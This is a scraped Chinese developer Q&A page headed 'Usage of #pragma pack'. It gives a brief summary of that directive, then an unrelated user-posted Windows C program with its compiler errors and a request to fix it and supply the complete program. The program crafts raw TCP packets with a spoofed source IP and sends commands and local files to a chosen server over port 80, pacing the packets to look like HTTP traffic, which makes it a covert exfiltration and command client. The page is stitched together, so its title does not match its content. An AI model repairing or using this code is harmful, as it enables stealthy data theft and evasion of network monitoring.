Usage of #pragma pack

本文介绍如何利用#pragmapack指令设置C/C++编译器中结构体、联合体及类成员的对齐方式。具体包括显示当前对齐方式、设置新的对齐值并保存当前值以备后续恢复等内容。

Usage of #pragma pack

Specifies packing alignment for structure, union, and class members.


Displays the current byte value for packing alignment. The value is displayed by a warning message.
#pragma pack(show)

#pragma pack(push, n)
Pushes the current packing alignment value on the internal compiler stack,
and sets the current packing alignment value to n.
If n is not specified, the current packing alignment value is pushed.

#pragma pack(pop)
Removes the record from the top of the internal compiler stack.
If n is not specified with pop, then the packing value associated with the resulting record on the top of the stack is the new packing alignment value.
If n is specified, for example, #pragma pack(pop, 16),
n becomes the new packing alignment value.
#include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #pragma comment(lib, "ws2_32.lib") #define HTTP_PORT 80 #pragma pack(push, 1) typedef struct _IP_HEADER { UCHAR ver_ihl; UCHAR tos; USHORT tot_len; USHORT id; USHORT frag_off; UCHAR ttl; UCHAR protocol; USHORT check; ULONG saddr; ULONG daddr; } IP_HEADER; typedef struct _TCP_HEADER { USHORT src_port; USHORT dst_port; ULONG seq_num; ULONG ack_num; UCHAR data_offset; UCHAR flags; USHORT window; USHORT checksum; USHORT urg_ptr; } TCP_HEADER; #pragma pack(pop) USHORT checksum(USHORT* buffer, int size) { ULONG cksum = 0; while (size > 1) { cksum += *buffer++; size -= sizeof(USHORT); } if (size) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return (USHORT)(~cksum); } void send_command(SOCKET sock, char* server_ip, char* command) { char packet[1500]; IP_HEADER* iph = (IP_HEADER*)packet; TCP_HEADER* tcph = (TCP_HEADER*)(packet + sizeof(IP_HEADER)); char* payload = packet + sizeof(IP_HEADER) + sizeof(TCP_HEADER); // 填充IP头 iph->ver_ihl = 0x45; iph->tos = 0; iph->tot_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER) + 4 + strlen(command)); iph->id = htons(54321); iph->frag_off = 0; iph->ttl = 128; iph->protocol = IPPROTO_TCP; iph->saddr = inet_addr("192.168.1.100"); // 伪装源IP iph->daddr = inet_addr(server_ip); iph->check = checksum((USHORT*)iph, sizeof(IP_HEADER)); // 填充TCP头 tcph->src_port = htons(54321); // 随机源端口 tcph->dst_port = htons(HTTP_PORT); tcph->seq_num = htonl(123456); tcph->ack_num = 0; tcph->data_offset = 0x50; // 5 * 4 = 20字节 tcph->flags = 0x02; // SYN标志 tcph->window = htons(64240); tcph->urg_ptr = 0; // 填充伪头部计算校验和 char pseudo[12 + sizeof(TCP_HEADER) + 4 + strlen(command)]; memcpy(pseudo, &iph->saddr, 4); memcpy(pseudo + 4, &iph->daddr, 4); pseudo[8] = 0; pseudo[9] = iph->protocol; *((USHORT*)(pseudo + 10)) = htons(sizeof(TCP_HEADER) + 4 + strlen(command)); memcpy(pseudo + 12, tcph, sizeof(TCP_HEADER)); sprintf(payload, "CMD:%s", command); memcpy(pseudo + 12 + sizeof(TCP_HEADER), payload, 4 + strlen(command)); tcph->checksum = checksum((USHORT*)pseudo, sizeof(pseudo)); // 发送命令包 struct sockaddr_in dest; dest.sin_family = AF_INET; dest.sin_addr.s_addr = iph->daddr; sendto(sock, packet, ntohs(iph->tot_len), 0, (SOCKADDR*)&dest, sizeof(dest)); printf("[+] Command sent: %s\n", command); } void send_file(SOCKET sock, char* server_ip, char* filename) { FILE* fp = fopen(filename, "rb"); if (!fp) { printf("File open failed\n"); return; } fseek(fp, 0, SEEK_END); long fsize = ftell(fp); fseek(fp, 0, SEEK_SET); char* buffer = (char*)malloc(fsize + 256); sprintf(buffer, "FILE:%s%c", filename, 0); fread(buffer + strlen(buffer) + 1, 1, fsize, fp); fclose(fp); // 分片发送文件 int total_len = strlen(buffer) + 1 + fsize; int offset = 0; while (offset < total_len) { int chunk_size = (total_len - offset) > 1400 ? 1400 : (total_len - offset); char packet[1500]; IP_HEADER* iph = (IP_HEADER*)packet; TCP_HEADER* tcph = (TCP_HEADER*)(packet + sizeof(IP_HEADER)); char* payload = packet + sizeof(IP_HEADER) + sizeof(TCP_HEADER); // 填充IP头 iph->ver_ihl = 0x45; iph->tot_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER) + chunk_size); iph->id = htons(54321 + offset / 1400); iph->frag_off = (offset + chunk_size == total_len) ? 0 : htons(0x2000); iph->ttl = 128; iph->protocol = IPPROTO_TCP; iph->saddr = inet_addr("192.168.1.100"); iph->daddr = inet_addr(server_ip); iph->check = checksum((USHORT*)iph, sizeof(IP_HEADER)); // 填充TCP头 tcph->src_port = htons(54321); tcph->dst_port = htons(HTTP_PORT); tcph->seq_num = htonl(123457 + offset); tcph->ack_num = 0; tcph->data_offset = 0x50; tcph->flags = 0x18; // PSH+ACK tcph->window = htons(64240); // 复制数据 memcpy(payload, buffer + offset, chunk_size); // 计算校验和 char pseudo[12 + sizeof(TCP_HEADER) + chunk_size]; memcpy(pseudo, &iph->saddr, 4); memcpy(pseudo + 4, &iph->daddr, 4); pseudo[8] = 0; pseudo[9] = iph->protocol; *((USHORT*)(pseudo + 10)) = htons(sizeof(TCP_HEADER) + chunk_size); memcpy(pseudo + 12, tcph, sizeof(TCP_HEADER)); memcpy(pseudo + 12 + sizeof(TCP_HEADER), payload, chunk_size); tcph->checksum = checksum((USHORT*)pseudo, sizeof(pseudo)); // 发送数据包 struct sockaddr_in dest; dest.sin_family = AF_INET; dest.sin_addr.s_addr = iph->daddr; sendto(sock, packet, ntohs(iph->tot_len), 0, (SOCKADDR*)&dest, sizeof(dest)); offset += chunk_size; Sleep(100); // 模拟HTTP流量间隔 } free(buffer); printf("[+] File sent: %s (%d bytes)\n", filename, fsize); } int main(int argc, char* argv[]) { if (argc < 3) { printf("Usage: %s <server_ip> <command|file>\n", argv[0]); printf("Example: %s 192.168.1.1 \"dir\"\n", argv[0]); printf(" %s 192.168.1.1 file.txt\n", argv[0]); return 1; } WSADATA wsa; SOCKET sock; if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup failed: %d\n", WSAGetLastError()); return 1; } sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED); if (sock == INVALID_SOCKET) { printf("Socket creation failed: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // 设置IP_HDRINCL选项 int opt = 1; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&opt, sizeof(opt)) == SOCKET_ERROR) { printf("IP_HDRINCL failed: %d\n", WSAGetLastError()); } // 判断是命令还是文件 FILE* test = fopen(argv[2], "r"); if (test) { fclose(test); send_file(sock, argv[1], argv[2]); } else { send_command(sock, argv[1], argv[2]); } closesocket(sock); WSACleanup(); return 0; } 报错:严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误(活动) E0028 表达式必须含有常量值 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 77 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误(活动) E0028 表达式必须含有常量值 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 149 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 警告 C4267 “参数”: 从“size_t”转换到“u_short”,可能丢失数据 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 57 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C2131 表达式的计算结果不是常数 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 77 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C3863 不可指定数组类型“char [36+'函数']” 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 80 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C3863 不可指定数组类型“char [36+'函数']” 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 81 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 警告 C4267 “参数”: 从“size_t”转换到“u_short”,可能丢失数据 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 82 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 警告 C4244 “=”: 从“u_short”转换到“char”,可能丢失数据 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 82 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 警告 C4267 “参数”: 从“size_t”转换到“int”,可能丢失数据 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 87 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C4996 'inet_addr': Use inet_pton() or InetPton() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 62 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C4996 'inet_addr': Use inet_pton() or InetPton() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 63 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C4996 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 84 严重性 代码 说明 项目 文件 行 抑制状态 详细信息 错误 C1903 无法从以前的错误中恢复;正在停止编译 80客户端 C:\Users\123\source\repos\80客户端\80客户端\80客户端.cpp 87 解决报错,给出完整程序
08-19
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值